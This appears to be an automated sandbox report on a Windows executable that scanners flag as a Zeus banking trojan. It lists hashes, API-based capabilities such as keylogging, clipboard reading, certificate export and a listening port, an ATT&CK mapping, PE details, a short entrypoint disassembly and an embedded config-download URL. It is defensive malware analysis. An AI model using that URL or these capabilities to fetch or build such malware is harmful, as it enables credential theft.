Play interactive tour

Edit tour

Analysis Report vovy0jYEM7

Overview

General Information

Sample Name:	vovy0jYEM7 (renamed file extension from none to exe)
Analysis ID:	376942
MD5:	ac98d2d71f3a4998abe80dd6e0695fba
SHA1:	76b5d3fd16c3e761022ebd7f3f5fc34f022fcc04
SHA256:	98d33cf483b14fbdab3a470a9452bcea672da54da1131330babcbb40572719e8
Tags:	uncategorized
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Contains functionality to detect sleep reduction / modifications

Machine Learning detection for sample

Antivirus or Machine Learning detection for unpacked file

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to enumerate network shares

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

May check if the current machine is a sandbox (GetTickCount - Sleep)

Program does not show much activity (idle)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Startup

System is w10x64

vovy0jYEM7.exe (PID: 6588 cmdline: 'C:\Users\user\Desktop\vovy0jYEM7.exe' MD5: AC98D2D71F3A4998ABE80DD6E0695FBA)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: vovy0jYEM7.exe

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: vovy0jYEM7.exe	Virustotal: Detection: 89%			Perma Link
Source: vovy0jYEM7.exe	ReversingLabs: Detection: 96%

Machine Learning detection for sample

Show sources

Source: vovy0jYEM7.exe

Joe Sandbox ML: detected

Source: 0.2.vovy0jYEM7.exe.400000.0.unpack	Avira: Label: TR/Kazy.MK
Source: 0.0.vovy0jYEM7.exe.400000.0.unpack	Avira: Label: TR/Kazy.MK

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040F4DA CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,		0_2_0040F4DA
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00418EF0 CryptUnprotectData,LocalFree,		0_2_00418EF0

Source: vovy0jYEM7.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041D2D2 GetFileAttributesExW,ReadProcessMemory,LoadLibraryW,GetProcAddress,SHGetFolderPathW,StrCmpNIW,FreeLibrary,NetUserEnum,NetUserGetInfo,NetApiBufferFree,NetApiBufferFree,SHGetFolderPathW,

0_2_0041D2D2

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00413951 FindFirstFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,	0_2_00413951
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00413A0C FindFirstFileW,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	0_2_00413A0C
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041676F ReadFile,CloseHandle,CloseHandle,PathIsDirectoryW,CreateFileW,FindFirstFileW,FindClose,SetFilePointerEx,GetFileTime,FileTimeToSystemTime,wsprintfW,CloseHandle,ShellExecuteW,GetLastError,MoveFileW,GetLastError,PathIsDirectoryW,CreateDirectoryW,GetLastError,FindFirstFileW,FileTimeToSystemTime,wsprintfW,FindNextFileW,FindClose,GetLogicalDriveStringsA,GetDriveTypeA,WriteFile,GetLastError,GetTempPathW,CreateFileW,SetFilePointerEx,GetLastError,CloseHandle,CloseHandle,	0_2_0041676F
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041BB83 PathCombineW,PathIsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0041BB83

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041676F ReadFile,CloseHandle,CloseHandle,PathIsDirectoryW,CreateFileW,FindFirstFileW,FindClose,SetFilePointerEx,GetFileTime,FileTimeToSystemTime,wsprintfW,CloseHandle,ShellExecuteW,GetLastError,MoveFileW,GetLastError,PathIsDirectoryW,CreateDirectoryW,GetLastError,FindFirstFileW,FileTimeToSystemTime,wsprintfW,FindNextFileW,FindClose,GetLogicalDriveStringsA,GetDriveTypeA,WriteFile,GetLastError,GetTempPathW,CreateFileW,SetFilePointerEx,GetLastError,CloseHandle,CloseHandle,

0_2_0041676F

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041596B getaddrinfo,freeaddrinfo,getsockname,getpeername,recv,recvfrom,getaddrinfo,freeaddrinfo,sendto,recvfrom,sendto,select,

0_2_0041596B

Source: vovy0jYEM7.exe	String found in binary or memory: http://adrotate.sytes.net/cfgg.bin
Source: vovy0jYEM7.exe	String found in binary or memory: http://www.google.com/webhp
Source: vovy0jYEM7.exe	String found in binary or memory: http://www.google.com/webhpbc

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040D447 NtCreateUserProcess,NtCreateThread,LdrLoadDll,GetFileAttributesExW,closesocket,send,WSASend,TranslateMessage,GetClipboardData,PFXImportCertStore,

0_2_0040D447

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041D7B7 EnterCriticalSection,GetTickCount,LeaveCriticalSection,GetKeyboardState,ToUnicode,TranslateMessage,

0_2_0041D7B7

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040D447 NtCreateUserProcess,NtCreateThread,LdrLoadDll,GetFileAttributesExW,closesocket,send,WSASend,TranslateMessage,GetClipboardData,PFXImportCertStore,	0_2_0040D447
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00415563 NtQueryInformationProcess,CloseHandle,NtCreateThread,	0_2_00415563
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041561A NtCreateUserProcess,GetProcessId,GetThreadContext,SetThreadContext,VirtualFreeEx,CloseHandle,	0_2_0041561A

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040FBAD lstrcpyA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessAsUserW,CloseHandle,CloseHandle,CloseHandle,FreeLibrary,

0_2_0040FBAD

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00405B5C CreateMutexW,GetLastError,CloseHandle,GetTickCount,GetTickCount,Sleep,GetTickCount,ExitWindowsEx,OpenEventW,SetEvent,CloseHandle,CloseHandle,OpenMutexW,GetFileAttributesExW,ReadProcessMemory,CloseHandle,GetFileAttributesExW,ReadProcessMemory,Sleep,Sleep,IsWellKnownSid,GetFileAttributesExW,ReadProcessMemory,GetFileAttributesExW,VirtualFree,CreateEventW,WaitForSingleObject,WaitForMultipleObjects,CloseHandle,CloseHandle,CloseHandle,CloseHandle,		0_2_00405B5C
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040DBFD InitiateSystemShutdownExW,ExitWindowsEx,		0_2_0040DBFD

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_004110A3	0_2_004110A3
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00409D36	0_2_00409D36
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040C98B	0_2_0040C98B
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041676F	0_2_0041676F
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040F3E6	0_2_0040F3E6
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041CBF9	0_2_0041CBF9
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0040BFBE	0_2_0040BFBE

Source: vovy0jYEM7.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: classification engine

Classification label: mal64.evad.winEXE@1/0@0/0

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041C435 CertOpenSystemStoreW,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,PFXExportCertStoreEx,PFXExportCertStoreEx,PFXExportCertStoreEx,CharLowerW,GetSystemTime,CertCloseStore,		0_2_0041C435
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041C5AA CertOpenSystemStoreW,CertEnumCertificatesInStore,CertDuplicateCertificateContext,CertDeleteCertificateFromStore,CertEnumCertificatesInStore,CertCloseStore,		0_2_0041C5AA

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040F901 GetCurrentThread,OpenThreadToken,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,

0_2_0040F901

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040F8AA CreateToolhelp32Snapshot,Thread32First,Thread32Next,CloseHandle,

0_2_0040F8AA

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041484B CoCreateInstance,VariantInit,SysAllocString,VariantClear,

0_2_0041484B

Source: vovy0jYEM7.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vovy0jYEM7.exe	Virustotal: Detection: 89%
Source: vovy0jYEM7.exe	ReversingLabs: Detection: 96%

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_004120AD LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,HeapCreate,FreeLibrary,

0_2_004120AD

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041D191 push 6B9D6F03h; retn 0008h

0_2_0041D196

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_00414C33 lstrcpyA,lstrcpyA,lstrcpyA,GetProcAddress,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,

0_2_00414C33

Malware Analysis System Evasion:

Contains functionality to detect sleep reduction / modifications

Show sources

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00416504		0_2_00416504
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00405B5C		0_2_00405B5C

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_00405B5C

0_2_00405B5C

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00413951 FindFirstFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,	0_2_00413951
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00413A0C FindFirstFileW,WaitForSingleObject,PathMatchSpecW,Sleep,Sleep,FindNextFileW,FindClose,	0_2_00413A0C
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041676F ReadFile,CloseHandle,CloseHandle,PathIsDirectoryW,CreateFileW,FindFirstFileW,FindClose,SetFilePointerEx,GetFileTime,FileTimeToSystemTime,wsprintfW,CloseHandle,ShellExecuteW,GetLastError,MoveFileW,GetLastError,PathIsDirectoryW,CreateDirectoryW,GetLastError,FindFirstFileW,FileTimeToSystemTime,wsprintfW,FindNextFileW,FindClose,GetLogicalDriveStringsA,GetDriveTypeA,WriteFile,GetLastError,GetTempPathW,CreateFileW,SetFilePointerEx,GetLastError,CloseHandle,CloseHandle,	0_2_0041676F
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041BB83 PathCombineW,PathIsDirectoryW,FindFirstFileW,FindNextFileW,FindClose,	0_2_0041BB83

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

0_2_0041676F

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040D447 NtCreateUserProcess,NtCreateThread,LdrLoadDll,GetFileAttributesExW,closesocket,send,WSASend,TranslateMessage,GetClipboardData,PFXImportCertStore,

0_2_0040D447

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_004120AD LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,HeapCreate,FreeLibrary,

0_2_004120AD

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_00404E5C GetModuleHandleW,GetModuleHandleW,lstrcpyA,lstrcpyA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,lstrcpyA,GetProcAddress,lstrcpyA,GetProcAddress,HeapCreate,GetProcessHeap,InitializeCriticalSection,WSAStartup,CreateEventW,GetLengthSid,GetCurrentProcessId,

0_2_00404E5C

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_004118F9 InitializeSecurityDescriptor,SetSecurityDescriptorDacl,lstrcpyW,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetSecurityDescriptorSacl,LocalFree,

0_2_004118F9

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041C435 CertOpenSystemStoreW,CertEnumCertificatesInStore,CertEnumCertificatesInStore,CertEnumCertificatesInStore,PFXExportCertStoreEx,PFXExportCertStoreEx,PFXExportCertStoreEx,CharLowerW,GetSystemTime,CertCloseStore,

0_2_0041C435

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0041DB15 GetTickCount,GetUserDefaultUILanguage,GetModuleFileNameW,GetUserNameExW,

0_2_0041DB15

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_0040E35F GetTimeZoneInformation,

0_2_0040E35F

Source: C:\Users\user\Desktop\vovy0jYEM7.exe

Code function: 0_2_004054A1 GetComputerNameW,GetVersionExW,RegOpenKeyExW,

0_2_004054A1

Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_00411481 socket,bind,listen,closesocket,		0_2_00411481
Source: C:\Users\user\Desktop\vovy0jYEM7.exe	Code function: 0_2_0041172A socket,bind,closesocket,		0_2_0041172A

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts1	Native API1	Valid Accounts1	Valid Accounts1	Valid Accounts1	Input Capture11	Network Share Discovery1	Remote Services	Input Capture11	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	System Shutdown/Reboot1
Default Accounts	Scheduled Task/Job	Application Shimming1	Access Token Manipulation11	Access Token Manipulation11	LSASS Memory	System Time Discovery2	Remote Desktop Protocol	Archive Collected Data1	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Application Shimming1	Obfuscated Files or Information1	Security Account Manager	Security Software Discovery12	SMB/Windows Admin Shares	Clipboard Data1	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Install Root Certificate1	NTDS	Process Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing1	LSA Secrets	Account Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Owner/User Discovery1	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	File and Directory Discovery2	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	System Information Discovery3	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vovy0jYEM7.exe	89%	Virustotal		Browse
vovy0jYEM7.exe	96%	ReversingLabs	Win32.Trojan.Zeus
vovy0jYEM7.exe	100%	Avira	TR/Kazy.MK
vovy0jYEM7.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
0.2.vovy0jYEM7.exe.400000.0.unpack	100%	Avira	TR/Kazy.MK		Download File
0.0.vovy0jYEM7.exe.400000.0.unpack	100%	Avira	TR/Kazy.MK		Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://adrotate.sytes.net/cfgg.bin	3%	Virustotal		Browse
http://adrotate.sytes.net/cfgg.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://adrotate.sytes.net/cfgg.bin	vovy0jYEM7.exe	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	376942
Start date:	28.03.2021
Start time:	03:46:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 2m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vovy0jYEM7 (renamed file extension from none to exe)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	1
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal64.evad.winEXE@1/0@0/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 99.6% (good quality ratio 92.1%) Quality average: 82.2% Quality standard deviation: 29.9%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Stop behavior analysis, all processes terminated

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	MS-DOS executable
Entropy (8bit):	6.666462810016037
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% DOS Executable Borland Pascal 7.0x (2037/25) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	vovy0jYEM7.exe
File size:	143360
MD5:	ac98d2d71f3a4998abe80dd6e0695fba
SHA1:	76b5d3fd16c3e761022ebd7f3f5fc34f022fcc04
SHA256:	98d33cf483b14fbdab3a470a9452bcea672da54da1131330babcbb40572719e8
SHA512:	190893c1511573db160bcfae275ac4b7ac43b6a1cb67f348e1043a98698241c96b44bfd65ebef1a18b80e8955118ae71e4384bf061781984427cee6251bafff7
SSDEEP:	3072:BpJJwr9xIGE2q/DB9WMnuwutBE+XjlE2fX7kiknViBXMlaT0S:BpkYGOBRjutBE+XvjkiGV6HTh
File Content Preview:	MZ......................................................................................................................................................................................................................PE..L..."..O.....................6.....

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x405f45
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x4F8CFD22 [Tue Apr 17 05:18:26 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	5aa18671f1cb1cc96a51c8f1958d6f84

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push ecx
push ebx
push 00000000h
xor bl, bl
call 00007FA290D7332Eh
test al, al
je 00007FA290D744C6h
push 00008007h
add bl, 00000002h
call dword ptr [00401240h]
lea eax, dword ptr [ebp-04h]
push eax
call dword ptr [00401244h]
push eax
call dword ptr [00401284h]
test eax, eax
je 00007FA290D74463h
xor edx, edx
cmp dword ptr [ebp-04h], edx
jle 00007FA290D74455h
mov ecx, dword ptr [eax+edx*4]
test ecx, ecx
je 00007FA290D74448h
cmp word ptr [ecx], 002Dh
jne 00007FA290D74442h
movzx ecx, word ptr [ecx+02h]
cmp ecx, 66h
je 00007FA290D74436h
cmp ecx, 69h
je 00007FA290D7442Ch
cmp ecx, 6Eh
jne 00007FA290D7442Fh
and bl, FFFFFFFDh
jmp 00007FA290D7442Ah
or bl, 00000008h
jmp 00007FA290D74425h
or bl, 00000001h
inc edx
cmp edx, dword ptr [ebp-04h]
jl 00007FA290D743EFh
push eax
call dword ptr [00423808h]
test bl, 00000008h
je 00007FA290D74429h
call 00007FA290D73DCAh
jmp 00007FA290D74438h
mov al, bl
shr al, 1
and al, 01h
movzx eax, al
push eax
and bl, 00000001h
movzx eax, bl
push eax
call 00007FA290D73FA0h
mov bl, al
test bl, bl
je 00007FA290D74436h
test byte ptr [004222A8h], 00000002h
je 00007FA290D7442Dh
push FFFFFFFFh
call dword ptr [00423818h]
pop ebx
leave
ret
xor eax, eax
test bl, bl
sete al
push eax
call dword ptr [00401248h]
int3
test esi, esi

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x20b04	0xf0	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24000	0x10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25000	0x10c4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x394	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x20ec6	0x21000	False	0.63339695786	data	6.68700480051	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x22000	0x1d4c	0x200	False	0.20703125	data	1.30631439164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x24000	0x10	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25000	0x14c2	0x1800	False	0.689127604167	data	6.04503144547	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	lstrcpynW, FileTimeToSystemTime, ReadFile, lstrcatA, lstrcmpW, lstrlenW, GetFileInformationByHandle, lstrcpyW, ExpandEnvironmentStringsW, GetEnvironmentVariableW, FileTimeToDosDateTime, HeapReAlloc, CreateMutexW, FindFirstFileW, SetEndOfFile, CreateProcessW, HeapAlloc, SetFilePointerEx, HeapFree, CreateDirectoryW, GetProcessHeap, IsBadReadPtr, SetFileTime, VirtualQueryEx, OpenProcess, Thread32First, LoadLibraryW, ReadProcessMemory, HeapDestroy, HeapCreate, Thread32Next, GetTimeZoneInformation, CreateThread, MultiByteToWideChar, WideCharToMultiByte, OpenMutexW, GetLastError, SetLastError, VirtualProtectEx, VirtualAllocEx, FindClose, RemoveDirectoryW, FindNextFileW, VirtualProtect, CreateToolhelp32Snapshot, GetFileTime, ReleaseMutex, FileTimeToLocalFileTime, DeleteFileW, SetFileAttributesW, GetThreadContext, SetThreadContext, GetProcessId, GetDriveTypeA, Sleep, GetLogicalDriveStringsA, MoveFileW, ResetEvent, GetNativeSystemInfo, WTSGetActiveConsoleSessionId, GlobalLock, GlobalUnlock, MoveFileExW, GetUserDefaultUILanguage, CreateRemoteThread, Process32FirstW, Process32NextW, GetSystemTime, GetLocalTime, SystemTimeToFileTime, UnmapViewOfFile, lstrlenA, SetFilePointer, GetFileSize, FreeLibrary, lstrcmpiA, GetPrivateProfileIntW, InitializeCriticalSection, FlushFileBuffers, SetThreadPriority, GetTempPathW, GetCurrentThread, CreateFileW, GetFileAttributesW, WriteFile, GetPrivateProfileStringW, lstrcpyA, WriteProcessMemory, GetCurrentProcessId, CloseHandle, DuplicateHandle, OpenEventW, GetFileAttributesExW, lstrcmpiW, WaitForMultipleObjects, CreateEventW, GetProcAddress, GetModuleFileNameW, GetVersionExW, VirtualFreeEx, VirtualFree, GetTickCount, GetModuleHandleW, SetEvent, GetComputerNameW, SetErrorMode, GetCommandLineW, ExitProcess, EnterCriticalSection, LeaveCriticalSection
USER32.dll	CharToOemW, wsprintfA, ExitWindowsEx, CharLowerBuffA, MsgWaitForMultipleObjects, LoadImageW, CharLowerA, PeekMessageW, CharUpperW, wsprintfW, CharLowerW, ToUnicode, GetKeyboardState, GetCursorPos, GetIconInfo, DrawIcon, GetClipboardData, TranslateMessage, DispatchMessageW
ADVAPI32.dll	LookupPrivilegeValueW, SetNamedSecurityInfoW, SetSecurityDescriptorDacl, InitializeSecurityDescriptor, CreateProcessAsUserW, RegQueryValueExW, CryptReleaseContext, RegCreateKeyExW, GetTokenInformation, GetSidSubAuthorityCount, OpenThreadToken, CryptAcquireContextW, GetSidSubAuthority, CryptGetHashParam, InitiateSystemShutdownExW, GetLengthSid, IsWellKnownSid, CryptCreateHash, ConvertStringSecurityDescriptorToSecurityDescriptorW, RegOpenKeyExW, GetSecurityDescriptorSacl, CryptDestroyHash, AdjustTokenPrivileges, RegCloseKey, RegSetValueExW, CryptHashData, RegEnumKeyExW, ConvertSidToStringSidW, EqualSid
SHLWAPI.dll	PathIsDirectoryW, UrlUnescapeA, PathRemoveFileSpecW, SHDeleteValueW, PathSkipRootW, SHDeleteKeyW, PathCombineW, PathAddExtensionW, PathUnquoteSpacesW, StrCmpNIA, wvnsprintfA, StrStrIA, StrStrIW, StrCmpNIW, PathIsURLW, PathQuoteSpacesW, PathRemoveBackslashW, PathRenameExtensionW
SHELL32.dll	SHFileOperationW, ShellExecuteW, CommandLineToArgvW, SHGetFolderPathW
Secur32.dll	GetUserNameExW
ole32.dll	StringFromGUID2, CoUninitialize, CoCreateInstance, CoInitializeEx
WS2_32.dll	connect, WSAIoctl, sendto, WSAEventSelect, WSAAddressToStringW, WSAStartup, getaddrinfo, select, WSAGetLastError, getsockname, setsockopt, bind, socket, freeaddrinfo, listen, WSASend, closesocket, send
CRYPT32.dll	CertOpenSystemStoreW, PFXExportCertStoreEx, PFXImportCertStore, CryptUnprotectData, CertDeleteCertificateFromStore, CertCloseStore, CertEnumCertificatesInStore, CertDuplicateCertificateContext
OLEAUT32.dll	VariantInit, SysAllocString, VariantClear, SysFreeString
NETAPI32.dll	NetApiBufferFree, NetUserEnum, NetUserGetInfo

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

System Behavior

Analysis Process: vovy0jYEM7.exe PID: 6588 Parent PID: 6032

General

Start time:	03:47:07
